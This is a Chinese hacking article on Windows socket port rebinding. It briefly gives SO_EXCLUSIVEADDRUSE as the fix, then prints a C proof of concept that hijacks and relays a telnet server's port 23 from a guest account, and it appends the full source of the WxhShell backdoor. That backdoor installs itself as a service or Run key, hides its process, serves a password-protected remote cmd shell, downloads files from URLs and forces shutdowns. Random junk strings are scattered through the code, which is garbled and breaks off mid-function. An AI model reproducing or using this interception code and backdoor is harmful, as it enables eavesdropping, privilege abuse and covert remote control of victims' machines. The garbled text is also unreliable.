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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V@(7K0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XgfaTX* O;ty
k_yM saddr.sin_family = AF_INET; FZEK-]h. x*9CK8o= saddr.sin_addr.s_addr = htonl(INADDR_ANY); dX58nJ4u AxN.k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;I#S m; B f_oIc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QqC4g] Eoj 2l&\ 这意味着什么?意味着可以进行如下的攻击: 'Gw;@[ E/MNz}+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;,8bb(j l[2 d{r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v%e-vl P`^{dH$P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4RH'GnLa eDm~B(G$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Z(8'ki =!G3YZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >tq,F"2amC @R|Gz/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CTbz?Kn %("Bq"Q8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -,;Iob56! 1D0_k #include +b7}R7:AFH #include 8"M*,?.] #include K$H>/*&'~ #include ,=9e]pQ DWORD WINAPI ClientThread(LPVOID lpParam); Dm=Em-ST6 int main() G n_AXN { da[u@eNrnX WORD wVersionRequested; :\*<EIk( DWORD ret; ,6zH;fi WSADATA wsaData; y=H^U. BOOL val; !*0\Yi,6 SOCKADDR_IN saddr; r3@Q(Rb SOCKADDR_IN scaddr; 5ml^3,x int err; )Tc eNH SOCKET s; .oJs"=h:m SOCKET sc; cm8-L[>E int caddsize; 7-oH >OF^ HANDLE mt; rpgr5> DWORD tid; 5dVSir wVersionRequested = MAKEWORD( 2, 2 ); brkR,(#L3 err = WSAStartup( wVersionRequested, &wsaData ); 1`tE Hu. if ( err != 0 ) { |EJ&s393& printf("error!WSAStartup failed!\n"); ?Jlz{ms I return -1; Ty"OJ } D&{7Av saddr.sin_family = AF_INET; R;P>_ei(LK <"uT=]wZ= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C*}TY)8 NX$S^Z\QI saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^KU:5Bn saddr.sin_port = htons(23); i>9/vwe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CjzfU*G { oRM,_ printf("error!socket failed!\n"); fb5]eec return -1; 7L[HtwI } |S5N$[ val = TRUE; 9})!~r;| //SO_REUSEADDR选项就是可以实现端口重绑定的 41<.e`{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zfE;)K^" { aW8Bx\q printf("error!setsockopt failed!\n"); ?-g=Rfpag return -1; OQ$77]XtvL } Jlw
oSe:S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wX6VapFboI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qAsZ,ik //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7@MGs2 ;SzOa7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n%w36_ { &(fB+VNrOH ret=GetLastError(); # E'g{.N printf("error!bind failed!\n"); Mj&f7IUO return -1; }b+tD3+ } [_jTy;E listen(s,2); TqNEU<S/t while(1) yA%(!v5UT { EO'[AU% ~ caddsize = sizeof(scaddr); vgzNT4o //接受连接请求 U9;C#9E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5|ih>? C/( if(sc!=INVALID_SOCKET) (Al.hEs' { L&qzX) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DRD%pm( if(mt==NULL) R1z\b~@" { l1~>{:mq printf("Thread Creat Failed!\n"); 4WnB{9
i`I break; YF=@nR$_~j } "t+VF4r } ?op6_a-wm CloseHandle(mt); hq.z:D } cLH|; closesocket(s); Bv$;yR WSACleanup(); tw8@&8" return 0; yV:DR } vrsO]ctI DWORD WINAPI ClientThread(LPVOID lpParam) +MKr.k2 { jxL5L[ SOCKET ss = (SOCKET)lpParam; Ys10r-kDS SOCKET sc; +XU*NAD,! unsigned char buf[4096]; NYD#I{h SOCKADDR_IN saddr; [{_JO+)+n long num; 6uQfe?aD DWORD val; 9hI4',(rE DWORD ret; #b []-L! //如果是隐藏端口应用的话,可以在此处加一些判断 [zIX&fPk$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 V;ZyAp saddr.sin_family = AF_INET; ~my\{q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M[D`)7=b saddr.sin_port = htons(23); #ldNWwvRGj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4(2}O-~ { sN 1x|pkN printf("error!socket failed!\n");
=w0Rq~ return -1; gSK
(BP| } +60zJ4 val = 100; &fq-U5zH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Skl1%` { N%/Qc hu ret = GetLastError(); aB-*l
%x return -1; :x]gTZ? } +bI &0` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;%odN
d { U/Z!c\r ret = GetLastError(); jE2k\\<a return -1; |HI=ykfI } EbuOPa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :gVz}/C.@ { [3;J,P=& printf("error!socket connect failed!\n"); m!a<\0^ closesocket(sc); YMad]_XOP closesocket(ss); )!hDF9O return -1; d4/snvq } TLl*gED while(1) O*rKV2\ { %JBp~" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /A[AHJ<[? //如果是嗅探内容的话,可以再此处进行内容分析和记录 0FsGqFt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {-J/
<a@ num = recv(ss,buf,4096,0); Wk$[;>NU3 if(num>0) '81$8xxdY send(sc,buf,num,0); ,sP7/S)FR else if(num==0) qbu Lcy3 break; m*|3 num = recv(sc,buf,4096,0); {l.) *#O if(num>0) 'CjcOI
s send(ss,buf,num,0); ypwVzCUG else if(num==0) Duj9PV`2 break; 8fTuae$^ } Yq4_ss'nB closesocket(ss); kM*f9x closesocket(sc); ,'m<um return 0 ; 20d[\P(. } f8+($Ys L{N9h1] KR%p*Nh+C ========================================================== HviL4iO >&RpfE[ 下边附上一个代码,,WXhSHELL ko@I]gi2 P )_g t ========================================================== 3X89mIDr &Ph@uZ\ #include "stdafx.h" B-|:l7
0Q_AF`" #include <stdio.h> ;:vbOG#aSN #include <string.h> ^O6P Zm5J} #include <windows.h> $d{{>< #include <winsock2.h> ;VeC(^-eh6 #include <winsvc.h> ,xuqQ;JX #include <urlmon.h> uXxyw7\W ^F5[2<O/! #pragma comment (lib, "Ws2_32.lib") aRdk^|} #pragma comment (lib, "urlmon.lib") #,Fk f}Eoc>n #define MAX_USER 100 // 最大客户端连接数 i|*(vH&D. #define BUF_SOCK 200 // sock buffer XWo:~\ #define KEY_BUFF 255 // 输入 buffer %L:e~* LtJ$ZE^GB #define REBOOT 0 // 重启 G?&0Z++ #define SHUTDOWN 1 // 关机 jAfUz7@ xV}E3Yj2# #define DEF_PORT 5000 // 监听端口 !3v!BJ#+,& }?$d~]t) #define REG_LEN 16 // 注册表键长度 y+_GL=J #define SVC_LEN 80 // NT服务名长度 tcSn`+Bu_` h<4WY#Y // 从dll定义API ",(-AU!a)h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VzA~w`$d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;<Oe\X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {kD|8["Ie' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R}8!~Ma`| `LVItP(GUM // wxhshell配置信息 &Zs h-|N struct WSCFG { {vx{Hwyv int ws_port; // 监听端口 A?ma5h char ws_passstr[REG_LEN]; // 口令 u^s{r`/ int ws_autoins; // 安装标记, 1=yes 0=no =&U JFu char ws_regname[REG_LEN]; // 注册表键名 NYM$0v`0YK char ws_svcname[REG_LEN]; // 服务名 $fPf/yQmC char ws_svcdisp[SVC_LEN]; // 服务显示名 vY7C!O/y_k char ws_svcdesc[SVC_LEN]; // 服务描述信息 k=Pu4:RF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $^INl0Pg int ws_downexe; // 下载执行标记, 1=yes 0=no zC(DigN char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]t\fw' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WO/;o0{d\9 <@.f# }; U`ey7
,oT?-PC$z // default Wxhshell configuration t~)w921> struct WSCFG wscfg={DEF_PORT, wr~# rfH "xuhuanlingzhe", MIub^ $<C 1, .!\y<9 "Wxhshell", 1RY}mq "Wxhshell", _FeLSk. "WxhShell Service", %E3|b6k\ "Wrsky Windows CmdShell Service", <,(6*b "Please Input Your Password: ", X<Rh-1$8F 1, 4};iL) " http://www.wrsky.com/wxhshell.exe", 4 C/ "Wxhshell.exe" 1u:OzyJy }; q@~N?$> AA;\7;k{ // 消息定义模块 1 9$ufod char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yeFt0\=H char *msg_ws_prompt="\n\r? for help\n\r#>"; ^6Q(he char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 4Smno%jq char *msg_ws_ext="\n\rExit."; <:-|>R". char *msg_ws_end="\n\rQuit."; @2v L'6 char *msg_ws_boot="\n\rReboot..."; QKL5!
L9` char *msg_ws_poff="\n\rShutdown..."; J Xo_l char *msg_ws_down="\n\rSave to "; $2A%y14 HTao)`. char *msg_ws_err="\n\rErr!"; @
eqVug char *msg_ws_ok="\n\rOK!"; Us+|L |/ 9`f]Rf" char ExeFile[MAX_PATH]; 36`aG Y int nUser = 0; T)6p,l HANDLE handles[MAX_USER]; BEPeK int OsIsNt; ,@tYD(Z \m1r(*Ar SERVICE_STATUS serviceStatus; lsCD%P SERVICE_STATUS_HANDLE hServiceStatusHandle; 3Ew-Ia%A *>n<7T0 // 函数声明 k?0yH$)'t int Install(void); .n[!3X|d int Uninstall(void); kLU$8L int DownloadFile(char *sURL, SOCKET wsh); s4Lqam! int Boot(int flag); E)H:
L- void HideProc(void); K%P$#a int GetOsVer(void); iK#5HW{ int Wxhshell(SOCKET wsl); 51;V#@CsQ void TalkWithClient(void *cs); X@:pys 8@ int CmdShell(SOCKET sock); 9n]zh- int StartFromService(void); |k$[+53A int StartWxhshell(LPSTR lpCmdLine); {'l^{"GO" U 3aY =8B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |Kky+* VOID WINAPI NTServiceHandler( DWORD fdwControl ); UBs'3M GM%%7 ^uE // 数据结构和表定义 DDq*#;dP SERVICE_TABLE_ENTRY DispatchTable[] = N&K:Jp { tH,}_Bp {wscfg.ws_svcname, NTServiceMain}, v
T2YX5k&, {NULL, NULL} 4`)`%R $ }; EpB2?XGA 3+@p // 自我安装 `YVdIDl] int Install(void) YK!nV , { >KH.~Jfy char svExeFile[MAX_PATH]; L(XGD HKEY key; y2gI]A strcpy(svExeFile,ExeFile); 1`)ie%= fWhw I+ // 如果是win9x系统,修改注册表设为自启动 xbnx*4o0 if(!OsIsNt) { JaoRkl?F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5"%r,GM U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I7ZY9W(S RegCloseKey(key); }` E5I&r4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rx<m+= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Lwgj7|~ RegCloseKey(key); `*mctjSN return 0; jq
yqOhb4 } R$X1Q/#md } }dX[u`zQ } ~McmlJzJG else { XrS. [ -^]8wQU // 如果是NT以上系统,安装为系统服务 Ch%W
C, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kE;h[No&K if (schSCManager!=0)
89*CoQ { + ObP[F SC_HANDLE schService = CreateService 7(rNJPrU~= ( #n2'N^t schSCManager, D^yZ!}Kl wscfg.ws_svcname, -'BC*fV r wscfg.ws_svcdisp, 0ubT/ SERVICE_ALL_ACCESS, _W'>?e0i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CMB:% SERVICE_AUTO_START, A&*lb7X SERVICE_ERROR_NORMAL, ()e.J svExeFile, +dq&9N/ NULL, ,V'+16xW NULL, izy7.(.a NULL, VHwb 7f]gq NULL, 3/>T/To&2 NULL !G=!^RA ); vM!lL6T: if (schService!=0) #_0OYL`(mE { kW0|\ CloseServiceHandle(schService); DP ,owk CloseServiceHandle(schSCManager); c ]M!4. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `WQz_}TqB strcat(svExeFile,wscfg.ws_svcname); /yPFts_q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,~u 5SR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N7Vv"o RegCloseKey(key); l5_RG,O0A return 0; !
7A _UA8 } T;K@3]FbX } E/2 kX 3} CloseServiceHandle(schSCManager); *yKw@@d+p } F^.w:ad9< } @{ *z1{ /tR@J8pV return 1; "| cNY_$&s } I4{uw ge *@/1]W // 自我卸载 1Q"w)Ta
int Uninstall(void) R#gt~]x6k { nt.A X HKEY key; &?UIe] -x)Oo` if(!OsIsNt) { AdB B#zd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { soh)IfZ RegDeleteValue(key,wscfg.ws_regname); @yiAi:v@ RegCloseKey(key); H~IR:WOw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `>KB8SY:qK RegDeleteValue(key,wscfg.ws_regname); 95LZG1]Rb RegCloseKey(key); =?g26>dYo return 0; Z-X(.Q } bC*( ,n<' } 6-#<*Pg } (3a]#`Q else { OXcQMVa
6 Dx`-Kg_p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;D.a |(Q if (schSCManager!=0) le60b@2G0 { S.&=>
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =j#1HI=Fe if (schService!=0) [&12`!;j { l2H-E&'= if(DeleteService(schService)!=0) { JrlDTNJj' CloseServiceHandle(schService); 4M4Y2fBH CloseServiceHandle(schSCManager); DP{kin"4I return 0; K8`Jl=}z%& } JLgk? CloseServiceHandle(schService); !SRElb A;i } 4)MKYhm CloseServiceHandle(schSCManager); =)_9GO } A+Uil\% } 7Nx5n< u&{}hv&FY return 1; \AFoxi2h } kS_oj Su.imM! // 从指定url下载文件 Mbbgsy3W int DownloadFile(char *sURL, SOCKET wsh) `! ~~Wf' { v:/+OzY HRESULT hr; JxI\ss?O char seps[]= "/"; 1EE4N\ char *token; 3sr>?/>: char *file; ab"6]%_ char myURL[MAX_PATH];
u@QP<[f
char myFILE[MAX_PATH]; aY`qb Jy MI8f(ZJK5 strcpy(myURL,sURL); ZqT8G token=strtok(myURL,seps); R\DdU-k while(token!=NULL) J)(KG dk { 3"v
k$ file=token; fKEZlrw token=strtok(NULL,seps); /$a>f>EJ } mL\_C9k,n i,#j@R@.C7 GetCurrentDirectory(MAX_PATH,myFILE); 2XoFmV),F strcat(myFILE, "\\"); E|R^tETb strcat(myFILE, file); 8{DZew / send(wsh,myFILE,strlen(myFILE),0); ;rwjqUDBz send(wsh,"...",3,0); >
mI1wV[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dL{zU4iUR if(hr==S_OK) 7b>FqW)% return 0; aC$-riP,?' else Y]>!uwn return 1; 4}0DEH.Vx U|tUX)9O } 4#<r}j12z hd+(M[C<9 // 系统电源模块 `N;}Gf-' int Boot(int flag) ( X(61[Lu { 5:S=gARz HANDLE hToken; q{4W@Um- TOKEN_PRIVILEGES tkp; BY*{j&^ $y%X#:eLJ if(OsIsNt) { }5_[t9LX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t2bv
nh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }~B @Z\`O tkp.PrivilegeCount = 1; h?t#ABsVK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~nQ= iB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K<k!sh if(flag==REBOOT) { d yH<D5
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~H<oqk:O- return 0;
qW~Z#Si } >WYiOXYv else { 6t zUp/O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eXs^YPi return 0; \!-IY } qKt*<KGeY } qg7qTF& else { 'YQVf]4P if(flag==REBOOT) { {@1;kG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a7$]"
T 7 return 0; pFB^l|\ ] } cy_'QS$W else { j 3/ I= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hk5[ N= return 0; pJg'$iR!/ } =1|^) 4M,x } V(gmC%6%l* qu8!fFQjYL return 1; Q:L^DZkGV } 9F~e^v]zp 0iKSUwps // win9x进程隐藏模块 "+0Yhr ? void HideProc(void) 2OA0rH"v { cWp5' e]A &*Sgyk
o` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;+-@AYl if ( hKernel != NULL ) Fx@ovI- 5 { g?7I7W~?` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kjj4%0" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d#tqa`@~ FreeLibrary(hKernel); i`nmA-Zj[ } YLXLaC[ Gt4/ax:A@ return; |_6V+/?"?` } kT-dQ32 |2Krxi3* // 获取操作系统版本 O c,E\~ int GetOsVer(void) ?&gqGU} { (7X|W<xT OSVERSIONINFO winfo; RJp Rsr
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zh.^>
` GetVersionEx(&winfo); "V=IG{. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I ~U1vtgp return 1; 9V'ok.B.x else &gxWdG}qx] return 0; B|f
=hlY } 6D\$K B5A/Iv)2 // 客户端句柄模块 w$)NW57[| int Wxhshell(SOCKET wsl) C{*' p+f { {+3
`{34e SOCKET wsh; e7_.Xr~[ struct sockaddr_in client; u# TNW. DWORD myID; '9ki~jtf= a<NZC while(nUser<MAX_USER) W>E/LBpE4 { \ 4`:~c int nSize=sizeof(client); 5wE+p<-KX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JI3x^[(Z if(wsh==INVALID_SOCKET) return 1; ro n-v"! %#jW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x]Pp|rHj if(handles[nUser]==0) >eC>sTPQ{ closesocket(wsh); \PzJ66DL! else *HONA>u
nUser++; UR|Au'iu } F HK{cE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A3uF 0A cb3Q{.-.# return 0; ZLGglT'EW> } R/WbcQ) IDY2X+C#U // 关闭 socket !,cLc}a void CloseIt(SOCKET wsh) QomihQnc { : MEB] } closesocket(wsh); Q M) ob nUser--; mx!EuF$I ExitThread(0); 8}?wi[T } 2JhE`EVH X
T<SR] // 客户端请求句柄 "!B\c9q void TalkWithClient(void *cs) gTQc=,3l3 { ^$AJV%3wI %TeH#%[g>\ SOCKET wsh=(SOCKET)cs; %MM)5MsB char pwd[SVC_LEN]; `9Rj;^NJ char cmd[KEY_BUFF]; \zT{zO&! char chr[1]; "?M)2,:A int i,j; )Tl]1^ 9*2Q'z}_ while (nUser < MAX_USER) { =T- jG_.H H[Q3M~_E if(wscfg.ws_passstr) { 47=YP0r?>T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ujf]@L? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z VyJ%"(E //ZeroMemory(pwd,KEY_BUFF); s/0bXM$^ i=0; ,@]*Xgt= while(i<SVC_LEN) { v8y !zo' i )!+`w*Y // 设置超时 =x@v{cP fd_set FdRead; m7|S'{+! struct timeval TimeOut; 8xb({e4 FD_ZERO(&FdRead); 0B]c`$"aD FD_SET(wsh,&FdRead); rNoCmNm TimeOut.tv_sec=8; ?dyt!>C TimeOut.tv_usec=0; 4[
*G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 >"}||)) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )eVn1U2*z. M#.dF{%% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ms=N+e$n pwd =chr[0]; =X;h _GQ if(chr[0]==0xd || chr[0]==0xa) { m2\[L/W] pwd=0; Vz]yJ: break; r`Bm"xI } (-Qr.t_B` i++; Rr0]~2R } O&
1z- w&>*4=^a // 如果是非法用户,关闭 socket #OwxxUeZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4jw q$G } _/NPXDL c{3P|O&. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U.Fs9F4M # send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F*JbTEOn jGUegeq while(1) { b=kY9!GN,v L>n^Q:M ZeroMemory(cmd,KEY_BUFF); "9IR| X2mZ~RB(p // 自动支持客户端 telnet标准 pD]2.O j=0; )S9}uOG# while(j<KEY_BUFF) { `4,]Mr1b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zgl$ n cmd[j]=chr[0]; s_P[lbHt. if(chr[0]==0xa || chr[0]==0xd) { *>k6n5% cmd[j]=0; KP_7h/e break; zHD8\* } u`"Y!*[ - j++; ~g}blv0q+B } lXRB"z MM*9Q`cB // 下载文件 E
<N% if(strstr(cmd,"http://")) { T>irW( send(wsh,msg_ws_down,strlen(msg_ws_down),0); cv_t2m if(DownloadFile(cmd,wsh)) : cPV08i send(wsh,msg_ws_err,strlen(msg_ws_err),0); fS3% else XCT3:db send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %3yrX>Js } }O\g<ke:u else { nT7]PhJ j>3Fwg9V switch(cmd[0]) { bsc#Oq] `('NH]^ // 帮助 l%qfaU2 case '?': { Ckhwd send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AZ
SaI break; ,xutI } M hjIE<OI= // 安装 +I@2,T(eG case 'i': { E( *S]Z[ if(Install()) 0x#
V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1
J[z ![Tf else @9lGU# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :BF
WX break; _TyQC1 d } iV:\,<8d // 卸载 AD>/#Ul case 'r': { 9hgIQl if(Uninstall()) dKmPKeJM send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lr Kx else 4'.]-u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -|P7e break; ~ujg250.L } X{iidTW`xv // 显示 wxhshell 所在路径 @ev^e!B case 'p': { PiLLUyQx char svExeFile[MAX_PATH]; (L!u[e0[# strcpy(svExeFile,"\n\r"); ;L,yJ~ strcat(svExeFile,ExeFile); #fFD|q send(wsh,svExeFile,strlen(svExeFile),0); uN0'n}c;1. break; ?sxf_0* } I#xhmsF // 重启
GYonb)F case 'b': { OkphbAX send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h1#l12k^' if(Boot(REBOOT)) u@aM8Na send(wsh,msg_ws_err,strlen(msg_ws_err),0); .:/X~{ else { ~]BR(n closesocket(wsh); )+.AgqxI ExitThread(0); "WqM<kLa } qz 29f break; hDbZ62DDN } ]@qD4: // 关机 [n +( case 'd': { cGWL'r)P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?h8/\~Dw if(Boot(SHUTDOWN)) P.~sNd oJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); {h;i x else { `KE(R8y closesocket(wsh); (JiEV3GH ExitThread(0); Si|8xq$E; } 7A break; AI .2os* } >Lz2zlZI // 获取shell pe+m%;nzR case 's': { 72y!cK6 CmdShell(wsh); gIcPKj"8${ closesocket(wsh); ]xhH:kW4 ExitThread(0); %Jn5M(myC break; d_98%U+u } vf`] // 退出 QEEX|WM case 'x': { 'YEiT#+/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e co=ia CloseIt(wsh); !Tu.A@ break; l`];CALA4 } !p)cP"fa // 离开 [ HjGdC case 'q': { =IIE]<z send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,=P0rbtK closesocket(wsh); Q?%v b WSACleanup(); RHq r-% exit(1); s3M#ua#mX break; sk. rJ } _"'-fl98* } H/ub=,Ej* } (7v`5|'0 ;"%luQA<w // 提示信息 J1Y3>40 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NO#^_N`#\ } ,0$b8lb;x/ } q5w)i /h@rLJ)o> return; @HXXhYH } %;G!gJeE
yNQ 9~P2 // shell模块句柄 N?Ss/by8Sg int CmdShell(SOCKET sock) Os1y8ui { `RE1q)o}8M STARTUPINFO si; dGc>EZSdj ZeroMemory(&si,sizeof(si)); Q1'D*F4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t{/
EN)J si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c>Ljv('bj PROCESS_INFORMATION ProcessInfo; ~#[ ZuMO? char cmdline[]="cmd"; to 3i!b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yM34G S=,J return 0; 1'* {VmM } Xgm9>/y ;:gx;'dm5 // 自身启动模式 Eb9M;u int StartFromService(void) )5bdWJ>l { ,#-^ typedef struct 9a_(_g>S { /t?(IcP5 DWORD ExitStatus; @i:_JOl DWORD PebBaseAddress; VAR/" DWORD AffinityMask; on1mu't_; DWORD BasePriority; K#p&XIY, ULONG UniqueProcessId; FdJC@Y-#uA ULONG InheritedFromUniqueProcessId; ?|Mmz@ } PROCESS_BASIC_INFORMATION; Py,@or7n ?jzadC el PROCNTQSIP NtQueryInformationProcess; cl-i6[F x9CI>l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UJF
